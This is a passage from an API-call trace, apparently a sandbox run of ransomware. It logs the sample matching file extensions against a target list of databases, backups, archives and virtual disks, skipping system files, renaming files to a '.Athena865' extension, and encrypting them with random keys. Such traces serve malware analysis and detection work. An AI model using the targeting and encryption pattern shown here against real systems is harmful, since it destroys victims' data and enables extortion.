[0106.663] lstrcmpiW (lpString1="CNT", lpString2="lwx") returned -1 [0106.663] lstrlenW (lpString="maf") returned 3 [0106.663] lstrcmpiW (lpString1="CNT", lpString2="maf") returned -1 [0106.663] lstrlenW (lpString="maq") returned 3 [0106.663] lstrcmpiW (lpString1="CNT", lpString2="maq") returned -1 [0106.663] lstrlenW (lpString="mar") returned 3 [0106.663] lstrcmpiW (lpString1="CNT", lpString2="mar") returned -1 [0106.663] lstrlenW (lpString="marshal") returned 7 [0106.663] lstrcmpiW (lpString1="T32.CNT", lpString2="marshal") returned 1 [0106.663] lstrlenW (lpString="mas") returned 3 [0106.663] lstrcmpiW (lpString1="CNT", lpString2="mas") returned -1 [0106.663] lstrlenW (lpString="mav") returned 3 [0106.663] lstrcmpiW (lpString1="CNT", lpString2="mav") returned -1 [0106.663] lstrlenW (lpString="maw") returned 3 [0106.663] lstrcmpiW (lpString1="CNT", lpString2="maw") returned -1 [0106.663] lstrlenW (lpString="mdbhtml") returned 7 [0106.663] lstrcmpiW (lpString1="T32.CNT", lpString2="mdbhtml") returned 1 [0106.663] lstrlenW (lpString="mdn") returned 3 [0106.663] lstrcmpiW (lpString1="CNT", lpString2="mdn") returned -1 [0106.663] lstrlenW (lpString="mdt") returned 3 [0106.663] lstrcmpiW (lpString1="CNT", lpString2="mdt") returned -1 [0106.663] lstrlenW (lpString="mfd") returned 3 [0106.663] lstrcmpiW (lpString1="CNT", lpString2="mfd") returned -1 [0106.663] lstrlenW (lpString="mpd") returned 3 [0106.663] lstrcmpiW (lpString1="CNT", lpString2="mpd") returned -1 [0106.663] lstrlenW (lpString="mrg") returned 3 [0106.664] lstrcmpiW (lpString1="CNT", lpString2="mrg") returned -1 [0106.664] lstrlenW (lpString="mud") returned 3 [0106.664] lstrcmpiW (lpString1="CNT", lpString2="mud") returned -1 [0106.664] lstrlenW (lpString="mwb") returned 3 [0106.664] lstrcmpiW (lpString1="CNT", lpString2="mwb") returned -1 [0106.664] lstrlenW (lpString="myd") returned 3 [0106.664] lstrcmpiW (lpString1="CNT", lpString2="myd") returned -1 [0106.664] lstrlenW (lpString="ndf") returned 3 [0106.664] lstrcmpiW (lpString1="CNT", lpString2="ndf") returned -1 [0106.664] lstrlenW (lpString="nnt") returned 3 [0106.664] lstrcmpiW (lpString1="CNT", lpString2="nnt") returned -1 [0106.664] lstrlenW (lpString="nrmlib") returned 6 [0106.664] lstrcmpiW (lpString1="32.CNT", lpString2="nrmlib") returned -1 [0106.664] lstrlenW (lpString="ns2") returned 3 [0106.664] lstrcmpiW (lpString1="CNT", lpString2="ns2") returned -1 [0106.664] lstrlenW (lpString="ns3") returned 3 [0106.664] lstrcmpiW (lpString1="CNT", lpString2="ns3") returned -1 [0106.664] lstrlenW (lpString="ns4") returned 3 [0106.664] lstrcmpiW (lpString1="CNT", lpString2="ns4") returned -1 [0106.664] lstrlenW (lpString="nsf") returned 3 [0106.664] lstrcmpiW (lpString1="CNT", lpString2="nsf") returned -1 [0106.664] lstrlenW (lpString="nv") returned 2 [0106.664] lstrcmpiW (lpString1="NT", lpString2="nv") returned -1 [0106.664] lstrlenW (lpString="nv2") returned 3 [0106.664] lstrcmpiW (lpString1="CNT", lpString2="nv2") returned -1 [0106.664] lstrlenW (lpString="nwdb") returned 4 [0106.664] lstrcmpiW (lpString1=".CNT", lpString2="nwdb") returned -1 [0106.664] lstrlenW (lpString="nyf") returned 3 [0106.664] lstrcmpiW (lpString1="CNT", lpString2="nyf") returned -1 [0106.664] lstrlenW (lpString="odb") returned 3 [0106.664] lstrcmpiW (lpString1="CNT", lpString2="odb") returned -1 [0106.664] lstrlenW (lpString="odb") returned 3 [0106.664] lstrcmpiW (lpString1="CNT", lpString2="odb") returned -1 [0106.665] lstrlenW (lpString="oqy") returned 3 [0106.665] lstrcmpiW (lpString1="CNT", lpString2="oqy") returned -1 [0106.665] lstrlenW (lpString="ora") returned 3 [0106.665] lstrcmpiW (lpString1="CNT", lpString2="ora") returned -1 [0106.665] lstrlenW (lpString="orx") returned 3 [0106.665] lstrcmpiW (lpString1="CNT", lpString2="orx") returned -1 [0106.665] lstrlenW (lpString="owc") returned 3 [0106.665] lstrcmpiW (lpString1="CNT", lpString2="owc") returned -1 [0106.665] lstrlenW (lpString="p96") returned 3 [0106.665] lstrcmpiW (lpString1="CNT", lpString2="p96") returned -1 [0106.665] lstrlenW (lpString="p97") returned 3 [0106.665] lstrcmpiW (lpString1="CNT", lpString2="p97") returned -1 [0106.665] lstrlenW (lpString="pan") returned 3 [0106.665] lstrcmpiW (lpString1="CNT", lpString2="pan") returned -1 [0106.665] lstrlenW (lpString="pdb") returned 3 [0106.665] lstrcmpiW (lpString1="CNT", lpString2="pdb") returned -1 [0106.665] lstrlenW (lpString="pdm") returned 3 [0106.665] lstrcmpiW (lpString1="CNT", lpString2="pdm") returned -1 [0106.665] lstrlenW (lpString="pnz") returned 3 [0106.665] lstrcmpiW (lpString1="CNT", lpString2="pnz") returned -1 [0106.665] lstrlenW (lpString="qry") returned 3 [0106.665] lstrcmpiW (lpString1="CNT", lpString2="qry") returned -1 [0106.665] lstrlenW (lpString="qvd") returned 3 [0106.665] lstrcmpiW (lpString1="CNT", lpString2="qvd") returned -1 [0106.665] lstrlenW (lpString="rbf") returned 3 [0106.665] lstrcmpiW (lpString1="CNT", lpString2="rbf") returned -1 [0106.665] lstrlenW (lpString="rctd") returned 4 [0106.665] lstrcmpiW (lpString1=".CNT", lpString2="rctd") returned -1 [0106.665] lstrlenW (lpString="rod") returned 3 [0106.665] lstrcmpiW (lpString1="CNT", lpString2="rod") returned -1 [0106.665] lstrlenW (lpString="rodx") returned 4 [0106.665] lstrcmpiW (lpString1=".CNT", lpString2="rodx") returned -1 [0106.665] lstrlenW (lpString="rpd") returned 3 [0106.666] lstrcmpiW (lpString1="CNT", lpString2="rpd") returned -1 [0106.666] lstrlenW (lpString="rsd") returned 3 [0106.666] lstrcmpiW (lpString1="CNT", lpString2="rsd") returned -1 [0106.666] lstrlenW (lpString="sas7bdat") returned 8 [0106.666] lstrcmpiW (lpString1="DT32.CNT", lpString2="sas7bdat") returned -1 [0106.666] lstrlenW (lpString="sbf") returned 3 [0106.666] lstrcmpiW (lpString1="CNT", lpString2="sbf") returned -1 [0106.666] lstrlenW (lpString="scx") returned 3 [0106.666] lstrcmpiW (lpString1="CNT", lpString2="scx") returned -1 [0106.666] lstrlenW (lpString="sdb") returned 3 [0106.666] lstrcmpiW (lpString1="CNT", lpString2="sdb") returned -1 [0106.666] lstrlenW (lpString="sdc") returned 3 [0106.666] lstrcmpiW (lpString1="CNT", lpString2="sdc") returned -1 [0106.666] lstrlenW (lpString="sdf") returned 3 [0106.666] lstrcmpiW (lpString1="CNT", lpString2="sdf") returned -1 [0106.666] lstrlenW (lpString="sis") returned 3 [0106.666] lstrcmpiW (lpString1="CNT", lpString2="sis") returned -1 [0106.666] lstrlenW (lpString="spq") returned 3 [0106.666] lstrcmpiW (lpString1="CNT", lpString2="spq") returned -1 [0106.666] lstrlenW (lpString="te") returned 2 [0106.666] lstrcmpiW (lpString1="NT", lpString2="te") returned -1 [0106.666] lstrlenW (lpString="teacher") returned 7 [0106.666] lstrcmpiW (lpString1="T32.CNT", lpString2="teacher") returned -1 [0106.666] lstrlenW (lpString="tmd") returned 3 [0106.666] lstrcmpiW (lpString1="CNT", lpString2="tmd") returned -1 [0106.666] lstrlenW (lpString="tps") returned 3 [0106.666] lstrcmpiW (lpString1="CNT", lpString2="tps") returned -1 [0106.666] lstrlenW (lpString="trc") returned 3 [0106.666] lstrcmpiW (lpString1="CNT", lpString2="trc") returned -1 [0106.666] lstrlenW (lpString="trc") returned 3 [0106.666] lstrcmpiW (lpString1="CNT", lpString2="trc") returned -1 [0106.666] lstrlenW (lpString="trm") returned 3 [0106.666] lstrcmpiW (lpString1="CNT", lpString2="trm") returned -1 [0106.667] lstrlenW (lpString="udb") returned 3 [0106.667] lstrcmpiW (lpString1="CNT", lpString2="udb") returned -1 [0106.667] lstrlenW (lpString="udl") returned 3 [0106.667] lstrcmpiW (lpString1="CNT", lpString2="udl") returned -1 [0106.667] lstrlenW (lpString="usr") returned 3 [0106.667] lstrcmpiW (lpString1="CNT", lpString2="usr") returned -1 [0106.667] lstrlenW (lpString="v12") returned 3 [0106.667] lstrcmpiW (lpString1="CNT", lpString2="v12") returned -1 [0106.667] lstrlenW (lpString="vis") returned 3 [0106.667] lstrcmpiW (lpString1="CNT", lpString2="vis") returned -1 [0106.667] lstrlenW (lpString="vpd") returned 3 [0106.667] lstrcmpiW (lpString1="CNT", lpString2="vpd") returned -1 [0106.667] lstrlenW (lpString="vvv") returned 3 [0106.667] lstrcmpiW (lpString1="CNT", lpString2="vvv") returned -1 [0106.667] lstrlenW (lpString="wdb") returned 3 [0106.667] lstrcmpiW (lpString1="CNT", lpString2="wdb") returned -1 [0106.667] lstrlenW (lpString="wmdb") returned 4 [0106.667] lstrcmpiW (lpString1=".CNT", lpString2="wmdb") returned -1 [0106.667] lstrlenW (lpString="wrk") returned 3 [0106.667] lstrcmpiW (lpString1="CNT", lpString2="wrk") returned -1 [0106.667] lstrlenW (lpString="xdb") returned 3 [0106.667] lstrcmpiW (lpString1="CNT", lpString2="xdb") returned -1 [0106.667] lstrlenW (lpString="xld") returned 3 [0106.667] lstrcmpiW (lpString1="CNT", lpString2="xld") returned -1 [0106.667] lstrlenW (lpString="xmlff") returned 5 [0106.667] lstrcmpiW (lpString1="2.CNT", lpString2="xmlff") returned -1 [0106.667] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.Athena865") returned 78 [0106.667] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.athena865"), dwFlags=0x1) returned 1 [0106.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0106.707] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2557) returned 1 [0106.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0106.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0106.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0106.707] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0106.708] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0106.708] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0106.708] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x17c [0106.710] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x100000 [0106.757] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0106.757] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0106.757] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0106.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0106.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0106.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0106.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0106.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0106.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0106.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0106.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0106.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0106.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0106.758] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0106.758] CloseHandle (hObject=0x17c) returned 1 [0106.758] CloseHandle (hObject=0x154) returned 1 [0106.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0106.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0106.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0106.759] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0106.759] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0106.759] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0106.759] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2=".") returned 1 [0106.759] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="..") returned 1 [0106.759] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="windows") returned -1 [0106.759] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="bootmgr") returned 1 [0106.759] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="temp") returned -1 [0106.759] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="pagefile.sys") returned -1 [0106.759] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="boot") returned 1 [0106.759] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="ids.txt") returned -1 [0106.759] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="ntuser.dat") returned -1 [0106.759] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="perflogs") returned -1 [0106.759] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="MSBuild") returned -1 [0106.759] lstrlenW (lpString="EQNEDT32.EXE") returned 12 [0106.759] lstrcpyW (in: lpString1=0x241e8b8, lpString2="EQNEDT32.EXE" | out: lpString1="EQNEDT32.EXE") returned="EQNEDT32.EXE" [0106.759] lstrlenW (lpString="EQNEDT32.EXE") returned 12 [0106.759] lstrlenW (lpString="Athena865") returned 9 [0106.759] lstrcmpiW (lpString1="EDT32.EXE", lpString2="Athena865") returned 1 [0106.759] lstrlenW (lpString=".dll") returned 4 [0106.759] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2=".dll") returned 1 [0106.759] lstrlenW (lpString=".lnk") returned 4 [0106.759] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2=".lnk") returned 1 [0106.760] lstrlenW (lpString=".ini") returned 4 [0106.760] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2=".ini") returned 1 [0106.760] lstrlenW (lpString=".sys") returned 4 [0106.760] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2=".sys") returned 1 [0106.760] lstrlenW (lpString="EQNEDT32.EXE") returned 12 [0106.760] lstrlenW (lpString="bak") returned 3 [0106.760] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0106.760] lstrlenW (lpString="ba_") returned 3 [0106.760] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0106.760] lstrlenW (lpString="dbb") returned 3 [0106.760] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0106.760] lstrlenW (lpString="vmdk") returned 4 [0106.760] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0106.760] lstrlenW (lpString="rar") returned 3 [0106.760] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0106.760] lstrlenW (lpString="zip") returned 3 [0106.760] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0106.760] lstrlenW (lpString="tgz") returned 3 [0106.760] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0106.760] lstrlenW (lpString="vbox") returned 4 [0106.760] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0106.760] lstrlenW (lpString="vdi") returned 3 [0106.760] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0106.760] lstrlenW (lpString="vhd") returned 3 [0106.760] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0106.760] lstrlenW (lpString="vhdx") returned 4 [0106.760] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0106.760] lstrlenW (lpString="avhd") returned 4 [0106.760] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0106.760] lstrlenW (lpString="db") returned 2 [0106.760] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0106.760] lstrlenW (lpString="db2") returned 3 [0106.761] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0106.761] lstrlenW (lpString="db3") returned 3 [0106.761] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0106.761] lstrlenW (lpString="dbf") returned 3 [0106.761] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0106.761] lstrlenW (lpString="mdf") returned 3 [0106.761] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0106.761] lstrlenW (lpString="mdb") returned 3 [0106.761] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0106.761] lstrlenW (lpString="sql") returned 3 [0106.761] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0106.761] lstrlenW (lpString="sqlite") returned 6 [0106.761] lstrcmpiW (lpString1="32.EXE", lpString2="sqlite") returned -1 [0106.761] lstrlenW (lpString="sqlite3") returned 7 [0106.761] lstrcmpiW (lpString1="T32.EXE", lpString2="sqlite3") returned 1 [0106.761] lstrlenW (lpString="sqlitedb") returned 8 [0106.761] lstrcmpiW (lpString1="DT32.EXE", lpString2="sqlitedb") returned -1 [0106.761] lstrlenW (lpString="xml") returned 3 [0106.761] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0106.761] lstrlenW (lpString="$er") returned 3 [0106.761] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0106.761] lstrlenW (lpString="4dd") returned 3 [0106.761] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0106.761] lstrlenW (lpString="4dl") returned 3 [0106.761] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0106.761] lstrlenW (lpString="^^^") returned 3 [0106.761] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0106.761] lstrlenW (lpString="abs") returned 3 [0106.761] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0106.761] lstrlenW (lpString="abx") returned 3 [0106.761] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0106.761] lstrlenW (lpString="accdb") returned 5 [0106.761] lstrcmpiW (lpString1="2.EXE", lpString2="accdb") returned -1 [0106.761] lstrlenW (lpString="accdc") returned 5 [0106.762] lstrcmpiW (lpString1="2.EXE", lpString2="accdc") returned -1 [0106.762] lstrlenW (lpString="accde") returned 5 [0106.762] lstrcmpiW (lpString1="2.EXE", lpString2="accde") returned -1 [0106.762] lstrlenW (lpString="accdr") returned 5 [0106.762] lstrcmpiW (lpString1="2.EXE", lpString2="accdr") returned -1 [0106.762] lstrlenW (lpString="accdt") returned 5 [0106.762] lstrcmpiW (lpString1="2.EXE", lpString2="accdt") returned -1 [0106.762] lstrlenW (lpString="accdw") returned 5 [0106.762] lstrcmpiW (lpString1="2.EXE", lpString2="accdw") returned -1 [0106.762] lstrlenW (lpString="accft") returned 5 [0106.762] lstrcmpiW (lpString1="2.EXE", lpString2="accft") returned -1 [0106.762] lstrlenW (lpString="adb") returned 3 [0106.762] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0106.762] lstrlenW (lpString="adb") returned 3 [0106.762] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0106.762] lstrlenW (lpString="ade") returned 3 [0106.762] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0106.762] lstrlenW (lpString="adf") returned 3 [0106.762] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0106.762] lstrlenW (lpString="adn") returned 3 [0106.762] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0106.762] lstrlenW (lpString="adp") returned 3 [0106.762] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0106.762] lstrlenW (lpString="alf") returned 3 [0106.762] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0106.762] lstrlenW (lpString="ask") returned 3 [0106.762] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0106.762] lstrlenW (lpString="btr") returned 3 [0106.762] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0106.762] lstrlenW (lpString="cat") returned 3 [0106.762] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0106.762] lstrlenW (lpString="cdb") returned 3 [0106.762] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0106.763] lstrlenW (lpString="ckp") returned 3 [0106.763] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0106.763] lstrlenW (lpString="cma") returned 3 [0106.763] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0106.763] lstrlenW (lpString="cpd") returned 3 [0106.763] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0106.763] lstrlenW (lpString="dacpac") returned 6 [0106.763] lstrcmpiW (lpString1="32.EXE", lpString2="dacpac") returned -1 [0106.763] lstrlenW (lpString="dad") returned 3 [0106.763] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0106.763] lstrlenW (lpString="dadiagrams") returned 10 [0106.763] lstrcmpiW (lpString1="NEDT32.EXE", lpString2="dadiagrams") returned 1 [0106.763] lstrlenW (lpString="daschema") returned 8 [0106.763] lstrcmpiW (lpString1="DT32.EXE", lpString2="daschema") returned 1 [0106.763] lstrlenW (lpString="db-journal") returned 10 [0106.763] lstrcmpiW (lpString1="NEDT32.EXE", lpString2="db-journal") returned 1 [0106.763] lstrlenW (lpString="db-shm") returned 6 [0106.763] lstrcmpiW (lpString1="32.EXE", lpString2="db-shm") returned -1 [0106.763] lstrlenW (lpString="db-wal") returned 6 [0106.763] lstrcmpiW (lpString1="32.EXE", lpString2="db-wal") returned -1 [0106.763] lstrlenW (lpString="dbc") returned 3 [0106.763] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0106.763] lstrlenW (lpString="dbs") returned 3 [0106.763] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0106.763] lstrlenW (lpString="dbt") returned 3 [0106.763] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0106.763] lstrlenW (lpString="dbv") returned 3 [0106.763] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0106.763] lstrlenW (lpString="dbx") returned 3 [0106.763] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0106.763] lstrlenW (lpString="dcb") returned 3 [0106.763] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0106.764] lstrcmpiW (lpString1="EXE", lpString2="dct") returned 1 [0106.764] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.Athena865") returned 78 [0106.764] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.athena865"), dwFlags=0x1) returned 1 [0106.800] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0106.800] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=543304) returned 1 [0106.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0106.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0106.801] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0106.801] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0106.801] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0106.801] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0106.801] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x84d50, lpName=0x0) returned 0x17c [0106.802] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x84d50) returned 0x2d50000 [0106.876] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0106.876] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0106.876] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0106.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0106.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0106.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0106.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0106.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0106.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0106.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0106.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0106.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0106.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0106.877] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0106.882] CloseHandle (hObject=0x17c) returned 1 [0106.882] CloseHandle (hObject=0x154) returned 1 [0106.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0106.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0106.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 